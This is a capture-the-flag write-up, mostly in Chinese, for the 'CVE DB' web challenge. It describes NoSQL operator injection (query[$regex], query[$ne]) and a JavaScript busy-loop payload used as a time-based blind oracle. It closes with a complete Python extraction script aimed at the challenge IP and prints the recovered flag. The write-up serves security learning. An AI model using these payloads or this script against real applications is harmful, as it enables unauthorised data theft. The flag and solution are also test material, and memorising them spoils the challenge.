Tags: nosql web time-based injection
Rating:
## 110 CVE DB
- Category: `web`
- Value: `401`
- Solves: `34`
- Solved by me: `True`
- Local directory: `web/CVEDB`
### 题目描述
> Let's implement our own CVE database with modern web-scale technologies, so without actual SQL.
>
> Author: @gehaxelt
### 连接信息
- `52.59.124.14:5000`
### 附件下载地址
- 无
### 内存布局
- 暂无可解析二进制 或 本题主要是非二进制方向
### WP
# CVEDB
## 题目信息
- Challenge: `CVE DB`
- 类型: Web
- 目标: 通过远程服务 `52.59.124.14:5000` 获取 flag
- 附件: 无(目录初始为空)
---
## 解题思路总览
这题的核心不是传统 SQL 注入,而是后端把用户输入拼到可执行的 JavaScript 逻辑中,形成了基于表达式求值的注入。我们先确认注入面,再利用时间侧信道盲注出隐藏字段 `product`。
关键观察点:
- 普通搜索 `query=test` 返回无结果。
- 注入式参数 `query[$regex]=.*` 可返回全部 26 条 CVE,说明后端把 `query` 当对象处理(`qs` 风格嵌套参数 + NoSQL/表达式逻辑)。
- `query[toString]=x` 触发 500,并泄漏 EJS 栈:`/app/views/index.ejs`,说明输入对象会参与模板渲染流程。
- 通过构造表达式并引入 `Date.now()` busy loop,可观测到稳定时间差,确认可执行注入成立。
---
## 漏洞确认过程
### 1. 对象参数注入
使用如下请求可稳定返回全量记录:
- `query[$regex]=.*`
- `query[$ne]=x`
- `query[$gt]=`
这证明后端并非仅把 `query` 当纯字符串,而是允许对象结构进入查询逻辑。
### 2. 可执行表达式确认
我们构造 payload(简化示意):
`zzz/) || ((()=>{if(COND){const t=Date.now()+900;while(Date.now()<t){}};return true})()) || (/a`
若 `COND` 成立,则该条记录多等待约 `900ms`。观察总响应时间可区分真假。
### 3. 目标字段定位
通过条件测试确认:
- `this.cveId==='CVE-1337-1337'` 可命中目标记录。
- `this.product` 存在且长度明显大于 0。
- `this.vendor` 也存在,但不含目标格式。
因此将盲注目标定为 `this.product`。
---
## 数学化提取方法
设目标字符串为 $S$,长度为 $n$。
### 1. 阈值校准
采样得到:
- 假条件中位数时间 $t_f$
- 真条件中位数时间 $t_t$
判定阈值取:
$T = \frac{t_f + t_t}{2}$
本次实测约为:
- $t_f \approx 0.348s$
- $t_t \approx 1.396s$
- $T \approx 0.872s$
### 2. 长度二分
谓词:
$P(m) = [\text{len}(S) \ge m]$
在区间 $[1,128]$ 二分,得到 $n=54$。
### 3. 字符二分
对每个位置 $i$,二分 ASCII 码:
$Q(i,m) = [\text{ord}(S_i) \ge m]$
在可打印区间 $[32,126]$ 二分恢复每一位,复杂度约为 $O(n\log |\Sigma|)$。
---
## 踩坑与失败尝试保留
- 直接搜索 `flag` / `1337`:只能看到描述,不会直接渲染隐藏字段。
- 试图把 `this.product` 直接赋值到 `this.description` 回显:未成功(对象可读但写入路径不稳定/不可见)。
- 尝试从 `process`/`require` 直接拿到 RCE:当前注入上下文受限,未直接拿到 Node 全局对象。
- 尝试目录爆破隐藏路由:仅 `/search` 有效。
最终最稳方案是“时间盲注 + 二分提取字段”。
---
## 最终脚本
- 路径: `solution/solution.py`
- 功能: 自动校准阈值、二分长度、二分每个字符并输出 `product`
运行命令:
```bash
python3 solution/solution.py
```
---
## 运行验证结果
脚本完整跑通,最终恢复:
```text
ENO{This_1s_A_Tru3_S1mpl3_Ch4llenge_T0_Solv3_Congr4tz}
```
### Exploit
#### web/CVEDB/solution/solution.py
```python
#!/usr/bin/env python3
import statistics
import time
from dataclasses import dataclass
import requests
URL = "http://52.59.124.14:5000/search"
TARGET_COND = "this.cveId==='CVE-1337-1337'"
FALSE_COND = "this.cveId==='NOPE'"
DELAY_MS = 900
@dataclass
class TimingModel:
false_median: float
true_median: float
threshold: float
class CVEDBExtractor:
def __init__(self, url: str = URL, delay_ms: int = DELAY_MS):
self.url = url
self.delay_ms = delay_ms
self.session = requests.Session()
self.model: TimingModel | None = None
def _build_payload(self, condition: str) -> str:
return (
"zzz/) || ((()=>{if(" + condition + ")"
+ "{const t=Date.now()+" + str(self.delay_ms) + ";while(Date.now()<t){}}"
+ ";return true})()) || (/a"
)
def _request(self, condition: str) -> float:
payload = self._build_payload(condition)
t0 = time.perf_counter()
resp = self.session.post(self.url, data={"query": payload}, timeout=20)
resp.raise_for_status()
return time.perf_counter() - t0
def calibrate(self) -> TimingModel:
# Warm up TCP/session and app cache.
for _ in range(2):
self._request(FALSE_COND)
false_samples = [self._request(FALSE_COND) for _ in range(5)]
true_samples = [self._request(TARGET_COND) for _ in range(5)]
false_m = statistics.median(false_samples)
true_m = statistics.median(true_samples)
threshold = (false_m + true_m) / 2.0
if true_m - false_m < 0.4:
raise RuntimeError(
f"Timing gap too small: false={false_m:.3f}s true={true_m:.3f}s"
)
self.model = TimingModel(false_m, true_m, threshold)
print(
f"[+] Calibration done: false={false_m:.3f}s true={true_m:.3f}s threshold={threshold:.3f}s"
)
return self.model
def is_true(self, condition: str) -> bool:
if self.model is None:
raise RuntimeError("calibrate() must be called first")
dt = self._request(condition)
# Retry once when very close to threshold.
if abs(dt - self.model.threshold) < 0.12:
dt2 = self._request(condition)
dt = (dt + dt2) / 2.0
return dt > self.model.threshold
def extract_length(self, max_len: int = 256) -> int:
# Binary search for smallest L where length <= L using predicate length >= mid.
lo, hi = 1, max_len
while lo < hi:
mid = (lo + hi + 1) // 2
cond = f"{TARGET_COND} && this.product.length>={mid}"
if self.is_true(cond):
lo = mid
else:
hi = mid - 1
print(f"[+] product length = {lo}")
return lo
def extract_product(self, length: int) -> str:
out = []
for i in range(length):
lo, hi = 32, 126
while lo < hi:
mid = (lo + hi + 1) // 2
cond = f"{TARGET_COND} && this.product.charCodeAt({i})>={mid}"
if self.is_true(cond):
lo = mid
else:
hi = mid - 1
ch = chr(lo)
out.append(ch)
print(f"[+] pos {i:02d}: {repr(ch)} -> {''.join(out)}")
return "".join(out)
def main() -> None:
extractor = CVEDBExtractor()
extractor.calibrate()
length = extractor.extract_length(max_len=128)
product = extractor.extract_product(length)
print(f"[+] extracted product: {product}")
if __name__ == "__main__":
main()
```
---